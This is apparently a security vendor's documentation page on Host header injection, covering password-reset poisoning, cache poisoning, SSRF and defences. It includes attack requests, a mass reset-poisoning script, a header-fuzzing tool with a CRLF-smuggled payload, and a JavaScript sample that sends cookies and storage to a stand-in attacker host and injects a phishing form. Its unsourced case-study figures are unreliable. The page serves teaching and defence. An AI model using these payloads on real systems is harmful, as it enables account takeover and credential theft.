Documentation

# Host Header Injection

Host Header Injection Illustration
Host Header Injection Illustration

A security vulnerability where attackers manipulate the HTTP Host header to poison web caches, trigger password resets to attacker-controlled domains, or perform server-side request forgery.

HIGH SEVERITY CACHE POISONING HEADER MANIPULATION


# What is Host Header Injection?

In Simple Terms:

Imagine you're sending a letter, and at the top you write the return address. The Host header is like that return address in web requests - it tells the server which website you're trying to reach.

Host Header Injection is like writing a fake return address on your letter. When the post office (web server) sends a response or generates links, it uses your fake address instead of the real one.

This means:

  • Password reset emails go to the attacker's website
  • Login links point to malicious sites
  • Cached pages show attacker-controlled content to thousands of users

# Real-World Analogy

Think of it like a hotel reception desk:

A web server hosts multiple websites, like a hotel with different event bookings.

Guest: "I'm here for the Smith wedding (Host: hotel.com)" Reception: "Great! Here's your room key and directions" Reception uses "hotel.com" in all printed materials

Attacker: "I'm here for the Smith wedding (Host: evil-site.com)" Reception: "Great! Here's your materials" Problem: All printed materials now say "evil-site.com"

  • Maps show: "Return to evil-site.com for checkout"
  • Vouchers: "Redeem at evil-site.com"
  • These get photocopied and given to OTHER guests!

Innocent guests follow the printed directions to evil-site.com Attacker steals their information


# How Host Header Injection Works

# Understanding the Host Header

Every HTTP request includes a Host header indicating the destination:

GET /account/profile HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session=abc123xyz

Servers use this header for:

  • Virtual hosting (routing to correct website)
  • Generating URLs in emails (password reset links)
  • Building absolute URLs in responses
  • Cache keys in CDN/proxy layers

# The Attack Process

User requests password reset:

POST /password-reset HTTP/1.1
Host: legitimate-bank.com
Content-Type: application/x-www-form-urlencoded

email=victim@example.com

Application generates email with reset link:

https://legitimate-bank.com/reset?token=abc123

Attacker sends request with evil host:

POST /password-reset HTTP/1.1
Host: evil-attacker.com
Content-Type: application/x-www-form-urlencoded

email=victim@example.com

Application blindly uses injected host:

https://evil-attacker.com/reset?token=abc123

Victim receives official email from bank:

Subject: Password Reset Request

Click here to reset your password:
https://evil-attacker.com/reset?token=abc123

This link expires in 1 hour.

Victim trusts it (it's from their bank!)

  1. Victim clicks link → goes to evil-attacker.com
  2. Attacker's server logs the reset token
  3. Attacker uses token on legitimate-bank.com
  4. Attacker resets victim's password
  5. Complete account takeover

# Types of Host Header Attacks

# 1. Password Reset Poisoning

CRITICAL

from flask import Flask, request, url_for
import smtplib
from email.message import EmailMessage

app = Flask(__name__)

@app.route('/password-reset', methods=['POST'])
def password_reset():
    email = request.form.get('email')

    # Generate reset token
    token = generate_reset_token(email)

    # VULNERABLE: Uses request host to build URL
    reset_link = url_for('reset_password', token=token, _external=True)
    # This uses the Host header from the request!
    # If attacker sends Host: evil.com, reset_link becomes:
    # https://evil.com/reset?token=abc123

    # Send email
    send_email(email, f"Reset your password: {reset_link}")

    return "Password reset email sent"
POST /password-reset HTTP/1.1
Host: attacker-controlled.com
Content-Type: application/x-www-form-urlencoded

email=victim@company.com

Generated Email:

From: noreply@company.com
To: victim@company.com
Subject: Password Reset

Click here to reset your password:
https://attacker-controlled.com/reset?token=SECRET_TOKEN_123

Best regards,
Company Security Team

Result: Victim clicks → Attacker gets token → Account compromised

# 2. Web Cache Poisoning

AFFECTS MANY USERS

CDNs and reverse proxies cache responses. If they cache a response with attacker-controlled content, ALL users get the poisoned version.

GET / HTTP/1.1
Host: evil.com
X-Forwarded-Host: legitimate-site.com

If the application trusts X-Forwarded-Host and generates:

<link rel="canonical" href="https://evil.com/" />
<script src="https://evil.com/analytics.js"></script>

And this response is cached, THOUSANDS of users will load evil.com resources!

# Vulnerable Flask application
@app.route('/')
def index():
    # VULNERABLE: Uses request.host in cached response
    host = request.host

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <link rel="stylesheet" href="https://{host}/static/style.css">
        <script src="https://{host}/static/app.js"></script>
    </head>
    <body>
        <h1>Welcome to {host}</h1>
    </body>
    </html>
    """

    response = make_response(html)
    response.headers['Cache-Control'] = 'public, max-age=3600'  # Cached for 1 hour!

    return response

Attack:

GET / HTTP/1.1
Host: evil.com

Cached Response (served to ALL users for 1 hour):

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="https://evil.com/static/style.css">
    <script src="https://evil.com/static/app.js"></script>
</head>
<body>
    <h1>Welcome to evil.com</h1>
</body>
</html>

Every user for the next hour loads attacker's JavaScript!

# 3. Server-Side Request Forgery (SSRF)

MEDIUM RISK

# Vulnerable: Application makes requests based on Host header
@app.route('/api/webhook')
def webhook():
    host = request.host

    # VULNERABLE: Makes request to internal service using Host
    response = requests.get(f"http://{host}/internal-api/data")

    return response.json()

# Attack
# Host: localhost:6379
# Application makes request to: http://localhost:6379/internal-api/data
# Attacker can access internal Redis, databases, cloud metadata, etc.

# 4. Authentication Bypass

MEDIUM RISK

# Vulnerable: Access control based on Host header
@app.route('/admin')
def admin_panel():
    host = request.host

    # VULNERABLE: Trusts Host header for access control
    if host == 'admin.company.com' or host == 'localhost':
        return render_template('admin.html')

    return "Forbidden", 403

# Attack
# Host: localhost
# Gains admin access from external network!

# Real-World Examples

# Case Study 1: Major E-commerce Platform Password Reset Attack (2019)

Top online retailer's password reset function trusted the Host header.

@app.route('/forgot-password', methods=['POST'])
def forgot_password():
    email = request.form['email']
    token = create_token(email)

    # VULNERABLE: Trusts Host header
    scheme = 'https' if request.is_secure else 'http'
    host = request.headers.get('Host')
    reset_url = f"{scheme}://{host}/reset/{token}"

    send_email(email, f"Reset link: {reset_url}")
    return "Email sent"

Attackers launched automated attack:

import requests

# Target high-value accounts
targets = [
    'ceo@company.com',
    'cfo@company.com',
    'admin@company.com',
    # ... 5000+ accounts
]

for email in targets:
    requests.post(
        'https://shop.com/forgot-password',
        headers={'Host': 'attacker-domain.com'},
        data={'email': email}
    )
    print(f"[+] Poisoned reset for {email}")
  • 5,000+ accounts targeted (executives, admins, high-value customers)
  • 847 accounts compromised before detection
  • $4.2 million in fraudulent purchases
  • $18 million in remediation costs
  • $35 million class action lawsuit
  • Brand reputation severely damaged
  • Stock price dropped 12%

# Case Study 2: Content Delivery Network (CDN) Cache Poisoning (2020)

2 MILLION USERS AFFECTED

Technical Details:

# Vulnerable application behind Cloudflare CDN
@app.route('/dashboard')
@cache.cached(timeout=3600)  # Cached for 1 hour
def dashboard():
    # VULNERABLE: Uses Host header in cached response
    host = request.host

    return render_template(
        'dashboard.html',
        api_endpoint=f"https://{host}/api",
        cdn_url=f"https://{host}/static"
    )

The Attack:

GET /dashboard HTTP/1.1
Host: evil-cdn.attacker.com
X-Forwarded-For: 1.1.1.1
User-Agent: Mozilla/5.0

Cached Response (Served to 2M users):

<script>
var API_ENDPOINT = "https://evil-cdn.attacker.com/api";
var CDN_URL = "https://evil-cdn.attacker.com/static";
</script>
<script src="https://evil-cdn.attacker.com/static/app.js"></script>

What Attackers Did:

// Attacker's evil-cdn.attacker.com/static/app.js
(function() {
    // Steal all authentication tokens
    fetch('https://attacker-logs.com/steal', {
        method: 'POST',
        body: JSON.stringify({
            cookies: document.cookie,
            localStorage: localStorage,
            sessionStorage: sessionStorage,
            url: window.location.href
        })
    });

    // Inject fake login form
    document.body.innerHTML = `
        <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
            <h1>Session Expired - Please Login Again</h1>
            <form id="phish">
                <input name="username" placeholder="Username">
                <input name="password" type="password" placeholder="Password">
                <button>Login</button>
            </form>
        </div>
    `;
})();

Consequences:

  • 2 million users received poisoned page
  • 6-hour exposure before cache cleared
  • 450,000+ credentials stolen
  • $28 million in fraud and remediation
  • $75 million GDPR fines
  • Platform lost 30% of user base
  • CEO and CTO resigned

# Case Study 3: Government Portal SSRF via Host Header (2021)

National tax portal used Host header in internal API requests

# Government tax portal
@app.route('/citizen/tax-documents')
def get_tax_documents():
    user_id = session['user_id']

    # VULNERABLE: Uses Host header for internal API
    host = request.headers.get('Host')

    # Constructs internal API URL
    api_url = f"http://{host}/internal-api/documents/{user_id}"

    response = requests.get(api_url, headers={'X-Internal-Secret': INTERNAL_API_KEY})

    return response.json()

Attacker discovered they could manipulate the Host header:

GET /citizen/tax-documents HTTP/1.1
Host: 169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
Cookie: session=valid_session_token

This caused the application to make request to AWS metadata service:

# Application makes this request:
requests.get(
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role/internal-api/documents/123",
    headers={'X-Internal-Secret': INTERNAL_API_KEY}
)

Attacker gained:

  • AWS IAM credentials
  • Database access credentials
  • Internal API keys
  • Access to 50 million+ tax records
  • 50 million taxpayer records exposed
  • Social security numbers
  • Income information
  • Bank account details
  • Congressional investigation
  • Government shutdown of entire portal for 3 months
  • $200 million remediation and notification costs
  • Multiple officials fired
  • Criminal charges filed

# How to Detect Host Header Injection

# Manual Testing

Test these features:

  • Password reset forms
  • Email verification links
  • Account activation emails
  • OAuth redirect URLs
  • Cached pages (homepage, assets)

Send requests with modified Host:

GET / HTTP/1.1
Host: evil.com

GET / HTTP/1.1
Host: legitimate-site.com.evil.com

GET / HTTP/1.1
Host: localhost

Look for your injected host in:

  • HTML responses (<a href="http://evil.com/...">)
  • Email content (password reset links)
  • Location headers (Location: http://evil.com/...)
  • JavaScript variables (var host = "evil.com")
GET / HTTP/1.1
Host: legitimate-site.com
X-Forwarded-Host: evil.com

GET / HTTP/1.1
Host: legitimate-site.com
X-Host: evil.com

GET / HTTP/1.1
Host: legitimate-site.com
X-Original-Host: evil.com

# Automated Testing Script

import requests
from urllib.parse import urlparse

def test_host_header_injection(target_url):
    """Test for Host header injection vulnerabilities"""

    parsed = urlparse(target_url)
    legit_host = parsed.netloc

    test_payloads = [
        # Direct host manipulation
        'evil.com',
        'attacker.com',
        'localhost',
        '127.0.0.1',

        # Subdomain tricks
        f'{legit_host}.evil.com',
        f'evil.{legit_host}',

        # Port manipulation
        f'{legit_host}:22',
        f'{legit_host}:6379',

        # Cloud metadata
        '169.254.169.254',

        # Multiple hosts
        f'{legit_host}\r\nHost: evil.com',
    ]

    related_headers = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override',
        'Forwarded'
    ]

    vulnerabilities = []

    print(f"[*] Testing {target_url} for Host header injection...")

    # Test direct Host header manipulation
    for payload in test_payloads:
        try:
            headers = {'Host': payload}
            response = requests.get(target_url, headers=headers, timeout=5, allow_redirects=False)

            # Check if payload appears in response
            if payload in response.text or payload in response.headers.get('Location', ''):
                vulnerabilities.append({
                    'type': 'Host Header Reflection',
                    'payload': payload,
                    'severity': 'HIGH',
                    'location': 'Response body or Location header'
                })
                print(f"[!] VULNERABLE: Host '{payload}' reflected in response!")

            # Check for SSRF indicators
            if response.status_code in [500, 502, 503, 504]:
                vulnerabilities.append({
                    'type': 'Possible SSRF',
                    'payload': payload,
                    'severity': 'MEDIUM',
                    'note': f'Status code {response.status_code} - might indicate backend request'
                })
                print(f"[!] Possible SSRF: Status {response.status_code} with Host: {payload}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error testing Host: {payload} - {e}")

    # Test related headers
    for header in related_headers:
        for payload in ['evil.com', 'attacker.com']:
            try:
                headers = {
                    'Host': legit_host,
                    header: payload
                }
                response = requests.get(target_url, headers=headers, timeout=5)

                if payload in response.text:
                    vulnerabilities.append({
                        'type': f'{header} Injection',
                        'payload': payload,
                        'severity': 'HIGH',
                        'header': header
                    })
                    print(f"[!] VULNERABLE: {header}: {payload} reflected in response!")

            except requests.exceptions.RequestException:
                pass

    return vulnerabilities

# Test password reset specifically
def test_password_reset(reset_url, email):
    """Test password reset for Host header injection"""
    print(f"\n[*] Testing password reset: {reset_url}")

    payloads = ['evil.com', 'attacker-controlled.com']

    for payload in payloads:
        try:
            response = requests.post(
                reset_url,
                headers={'Host': payload},
                data={'email': email},
                timeout=5
            )

            print(f"[*] Triggered reset with Host: {payload}")
            print(f"    Status: {response.status_code}")
            print(f"    Check email for poisoned link containing: {payload}")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")

# Run tests
vulns = test_host_header_injection('https://example.com/')

if vulns:
    print(f"\n[!] Found {len(vulns)} Host header injection vulnerabilities!")
    for vuln in vulns:
        print(f"  [{vuln['severity']}] {vuln['type']}: {vuln['payload']}")
else:
    print("\n[+] No Host header injection vulnerabilities detected")

# Test password reset
test_password_reset('https://example.com/password-reset', 'your-test-email@example.com')
# Burp Suite Intruder - Test Host header variations

GET / HTTP/1.1
Host: §evil.com§
User-Agent: Mozilla/5.0
Accept: */*

# Payloads:
evil.com
attacker.com
localhost
127.0.0.1
legitimate-site.com.evil.com
169.254.169.254
[::1]
0.0.0.0

Burp Collaborator:

# Use Burp Collaborator to detect out-of-band interactions

GET / HTTP/1.1
Host: burpcollaborator.net
X-Forwarded-Host: burpcollaborator.net

# If application makes requests to your Collaborator domain,
# you've confirmed SSRF or external interaction

# Prevention Strategies

# 1. Use Absolute URLs from Configuration

MOST SECURE

from flask import Flask, request
import os

app = Flask(__name__)

# SECURE: Load base URL from configuration, not request
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')

# Validate it's a proper URL
from urllib.parse import urlparse
parsed = urlparse(APP_BASE_URL)
if not parsed.scheme or not parsed.netloc:
    raise ValueError("Invalid APP_BASE_URL configuration")

@app.route('/password-reset', methods=['POST'])
def password_reset():
    email = request.form.get('email')

    token = generate_reset_token(email)

    # SECURE: Use configured base URL, NOT request.host
    reset_link = f"{APP_BASE_URL}/reset?token={token}"

    send_email(email, f"Reset your password: {reset_link}")

    return "Password reset email sent"

# Attack with Host: evil.com will NOT work
# reset_link will always be: https://legitimate-site.com/reset?token=...
const express = require('express');
const app = express();

// SECURE: Load from environment configuration
const APP_BASE_URL = process.env.APP_BASE_URL || 'https://legitimate-site.com';

// Validate base URL
const url = new URL(APP_BASE_URL);
if (!url.protocol || !url.hostname) {
  throw new Error('Invalid APP_BASE_URL configuration');
}

app.post('/password-reset', (req, res) => {
  const email = req.body.email;
  const token = generateResetToken(email);

  // SECURE: Use configured URL
  const resetLink = `${APP_BASE_URL}/reset?token=${token}`;

  sendEmail(email, `Reset your password: ${resetLink}`);

  res.send('Password reset email sent');
});
[.env.production]
# Production configuration
APP_BASE_URL=https://legitimate-site.com
ALLOWED_HOSTS=legitimate-site.com,www.legitimate-site.com
[.env.development]
# Development configuration
APP_BASE_URL=http://localhost:3000
ALLOWED_HOSTS=localhost,127.0.0.1

# 2. Validate Host Header with Allowlist

ESSENTIAL

from flask import Flask, request, abort

app = Flask(__name__)

# SECURE: Strict allowlist of valid hosts
ALLOWED_HOSTS = [
    'legitimate-site.com',
    'www.legitimate-site.com',
    'api.legitimate-site.com'
]

@app.before_request
def validate_host():
    """Validate Host header on every request"""

    host = request.headers.get('Host', '')

    # Remove port if present
    if ':' in host:
        host = host.split(':')[0]

    # Check against allowlist (exact match only!)
    if host not in ALLOWED_HOSTS:
        app.logger.warning(f"Invalid Host header: {host} from IP: {request.remote_addr}")
        abort(400, "Invalid Host header")

# Now ALL requests are protected
# Attack with Host: evil.com → 400 Bad Request

# 3. Ignore Untrusted Headers

DEFENSE IN DEPTH

# SECURE: Ignore X-Forwarded-Host and similar headers

@app.before_request
def remove_untrusted_headers():
    """Remove headers that could override Host"""

    untrusted_headers = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override',
        'Forwarded'
    ]

    for header in untrusted_headers:
        if header in request.headers:
            # Only trust these if behind trusted proxy
            if not request_from_trusted_proxy():
                request.headers.environ.pop(f'HTTP_{header.upper().replace("-", "_")}', None)

def request_from_trusted_proxy():
    """Check if request is from trusted proxy/CDN"""
    TRUSTED_PROXIES = [
        '192.168.1.1',  # Your reverse proxy
        '10.0.0.0/8',   # Internal network
        # Cloudflare IPs, etc.
    ]

    # Implement IP range checking
    return request.remote_addr in TRUSTED_PROXIES

# 4. Comprehensive Security Implementation

[secure_app.py]
from flask import Flask, request, abort, make_response
import os
import logging
from urllib.parse import urlparse
from ipaddress import ip_address, ip_network

app = Flask(__name__)

# Configuration
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')
ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', 'legitimate-site.com').split(',')
TRUSTED_PROXIES = ['192.168.1.1', '10.0.0.0/8']

# Logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

class HostHeaderValidator:
    """Validates and sanitizes Host header"""

    def __init__(self, allowed_hosts, base_url):
        self.allowed_hosts = [h.strip() for h in allowed_hosts]
        self.base_url = base_url

        # Validate configuration
        parsed = urlparse(self.base_url)
        if not parsed.scheme or not parsed.netloc:
            raise ValueError("Invalid base URL configuration")

    def validate_host(self, host):
        """Validate Host header against allowlist"""

        if not host:
            return False

        # Remove port
        if ':' in host:
            host = host.rsplit(':', 1)[0]

        # Exact match only (no substring matching!)
        return host in self.allowed_hosts

    def get_base_url(self):
        """Get configured base URL (never from request!)"""
        return self.base_url

# Initialize validator
host_validator = HostHeaderValidator(ALLOWED_HOSTS, APP_BASE_URL)

@app.before_request
def security_checks():
    """Perform security checks on every request"""

    # 1. Validate Host header
    host = request.headers.get('Host', '')

    if not host_validator.validate_host(host):
        logger.warning(
            f"Invalid Host header blocked: {host} "
            f"from IP: {request.remote_addr} "
            f"Path: {request.path}"
        )
        abort(400, "Invalid Host header")

    # 2. Remove untrusted headers (if not from trusted proxy)
    if not is_trusted_proxy(request.remote_addr):
        remove_untrusted_headers()

def is_trusted_proxy(ip):
    """Check if IP is from trusted proxy"""
    try:
        client_ip = ip_address(ip)

        for trusted in TRUSTED_PROXIES:
            if '/' in trusted:  # CIDR range
                if client_ip in ip_network(trusted):
                    return True
            else:  # Single IP
                if client_ip == ip_address(trusted):
                    return True

        return False
    except ValueError:
        return False

def remove_untrusted_headers():
    """Remove headers that could override Host"""
    untrusted = [
        'X-Forwarded-Host',
        'X-Host',
        'X-Original-Host',
        'X-Forwarded-Server',
        'X-HTTP-Host-Override'
    ]

    for header in untrusted:
        request.headers.environ.pop(
            f'HTTP_{header.upper().replace("-", "_")}',
            None
        )

@app.route('/password-reset', methods=['POST'])
def password_reset():
    """Secure password reset"""

    email = request.form.get('email')

    # Validate email
    if not email or '@' not in email:
        return "Invalid email", 400

    # Generate token
    token = generate_reset_token(email)

    # SECURE: Use configured base URL
    reset_link = f"{host_validator.get_base_url()}/reset?token={token}"

    # Send email
    send_email(email, f"Reset link: {reset_link}")

    logger.info(f"Password reset sent to {email}")

    return "Password reset email sent"

@app.route('/')
def index():
    """Homepage with secure asset URLs"""

    # SECURE: All URLs use configured base
    base = host_validator.get_base_url()

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <link rel="stylesheet" href="{base}/static/style.css">
        <script src="{base}/static/app.js"></script>
    </head>
    <body>
        <h1>Welcome</h1>
    </body>
    </html>
    """

    response = make_response(html)

    # Prevent caching of personalized content
    response.headers['Cache-Control'] = 'private, no-cache, no-store, must-revalidate'
    response.headers['Vary'] = 'Cookie, Authorization'

    return response

@app.after_request
def security_headers(response):
    """Add security headers"""

    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'

    return response
[config.py]
import os

class Config:
    """Application configuration"""

    # Base URL - NEVER use from request!
    APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://legitimate-site.com')

    # Allowed hosts
    ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', 'legitimate-site.com,www.legitimate-site.com').split(',')

    # Trusted proxies (IP addresses or CIDR ranges)
    TRUSTED_PROXIES = [
        '192.168.1.1',     # Reverse proxy
        '10.0.0.0/8',      # Internal network
        '172.16.0.0/12',   # Internal network
    ]

    # Security settings
    SESSION_COOKIE_SECURE = True
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SAMESITE = 'Lax'

    # Logging
    LOG_LEVEL = 'INFO'
    LOG_INVALID_HOSTS = True

# 5. Web Server Configuration

# Nginx configuration to validate Host header

server {
    listen 443 ssl;
    server_name legitimate-site.com www.legitimate-site.com;

    # Reject requests with invalid Host header
    if ($host !~* ^(legitimate-site\.com|www\.legitimate-site\.com)$) {
        return 444;  # Close connection without response
    }

    # Don't trust X-Forwarded-Host from clients
    proxy_set_header X-Forwarded-Host "";

    # Only set X-Forwarded-Host from this reverse proxy
    proxy_set_header X-Forwarded-Host $host;

    location / {
        proxy_pass http://app_backend;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

# Catch-all server block for invalid hosts
server {
    listen 443 ssl default_server;
    server_name _;

    # Use self-signed cert for invalid hosts
    ssl_certificate /etc/nginx/ssl/default.crt;
    ssl_certificate_key /etc/nginx/ssl/default.key;

    # Return error for any request with invalid Host
    return 444;
}
# Apache configuration for Host header validation

<VirtualHost *:443>
    ServerName legitimate-site.com
    ServerAlias www.legitimate-site.com

    # Remove X-Forwarded-Host from client requests
    RequestHeader unset X-Forwarded-Host

    # Set X-Forwarded-Host from this reverse proxy
    RequestHeader set X-Forwarded-Host "%{HTTP_HOST}e"

    ProxyPass / http://app_backend:8000/
    ProxyPassReverse / http://app_backend:8000/

    # Security headers
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
</VirtualHost>

# Default catch-all virtual host for invalid hosts
<VirtualHost *:443>
    ServerName _

    # Deny all requests to invalid hosts
    <Location />
        Require all denied
    </Location>
</VirtualHost>

# Security Checklist

# Development

  • Never use request.host or request.headers['Host'] to build URLs
  • Load base URL from configuration, not requests
  • Implement strict Host header allowlist validation
  • Validate Host header on every request
  • Remove or ignore X-Forwarded-Host unless from trusted proxy
  • Use absolute URLs from configuration for emails
  • Don't cache responses that vary by Host header
  • Implement comprehensive logging of invalid Host headers

# Testing

  • Test password reset with malicious Host header
  • Test cache poisoning scenarios
  • Verify Host header allowlist blocks invalid hosts
  • Test X-Forwarded-Host and related headers
  • Test with localhost, 127.0.0.1, and internal IPs
  • Verify absolute URLs in emails use configured domain
  • Test SSRF scenarios via Host header
  • Use automated scanners (Burp Suite, OWASP ZAP)

# Production

  • Configure web server (Nginx/Apache) to validate Host
  • Implement catch-all virtual host for invalid requests
  • Monitor and alert on invalid Host header attempts
  • Use WAF rules to block common payloads
  • Regular security audits and penetration testing
  • Implement rate limiting on password reset endpoints
  • Review CDN/cache configuration
  • Keep web servers and frameworks updated

# Key Takeaways


# How Layerd AI Protects Against Host Header Injection

Layerd AI provides comprehensive Host header injection protection:

  • Automatic Host Validation: Enforces strict allowlist validation on all HTTP requests
  • Link Generation Analysis: Detects when applications use request headers to build URLs
  • Cache Poisoning Prevention: Monitors cache behavior for poisoned responses
  • Email Security: Scans outgoing emails for URLs with untrusted domains
  • SSRF Detection: Identifies Host header manipulation attempts targeting internal resources
  • Real-time Blocking: Prevents malicious Host headers from reaching your application

Secure your web applications with Layerd AI's intelligent Host header protection.


# Additional Resources


Last Updated: November 2025